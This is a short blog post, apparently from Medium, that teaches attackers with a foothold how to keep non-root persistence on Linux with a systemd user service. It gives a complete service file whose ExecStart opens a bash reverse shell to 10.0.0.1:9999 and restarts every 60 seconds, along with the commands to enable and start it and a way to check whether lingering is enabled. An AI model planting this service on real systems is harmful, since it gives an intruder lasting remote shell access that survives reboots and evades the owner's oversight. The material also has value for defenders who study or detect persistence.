Systemd user level persistence. There are multiple ways to keep… | by Alexey Petrenko

medium.com/@alexeypetrenko/systemd-user-level-persistence-25eb562d2ea8

July 10, 2018

Systemd user level persistence

There are multiple ways to keep persistence on a Linux system after getting initial foothold. If you have root access, there is literally infinite number of ways to do so: you can backdoor any part of a system. However, sometimes you do not have root access and you do not really need it, but it is always nice to keep an access to the system after it reboots.

Here I will show one way of achieving persistence on most modern Linux systems without having root access. For some reason this method does not seem to be getting enough attention.

It is stupidly simple: **use systemd user service.**

An Example

1.

Place a service file in `~/.config/systemd/user/` .

Here is a `rs.service` file used for a demo:

```
[Unit]
Description=Just a reverse shell[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'
Restart=always
RestartSec=60[Install]
WantedBy=default.target
```

2.

Enable the service with `systemctl --user enable rs.service`

Profit

That is it. On the next user login systemd will happily start a reverse shell.

You can start it right away with `systemctl --user start rs.service` if you don't want to wait for a next time system reboots.

The nice thing is that you can use most systemd features here. In the example above, I used `Restart` to restart a shell automatically on a failure. You may want to use systemd timers to run your payload periodically and not have a process constantly running if that is what you want.

Limitations

By default, `systemd --user` is only started when a user logs in and a session is started. So, this persistence method is mostly suited for desktops or kiosks and would be useless for servers with no active user sessions.

It is possible to change this behavior and start `systemd --user` on boot rather than on user login. To do so, a root must run `loginctl enable-linger <username>`. Obviously, we have no root access and cannot change these settings. But it is worth checking if it has already been enabled. In order to do so, look in `/var/lib/systemd/linger` directory. If lingering is enabled for a user `username`, there should be an empty file with a name `username`. (Per this amazing answer)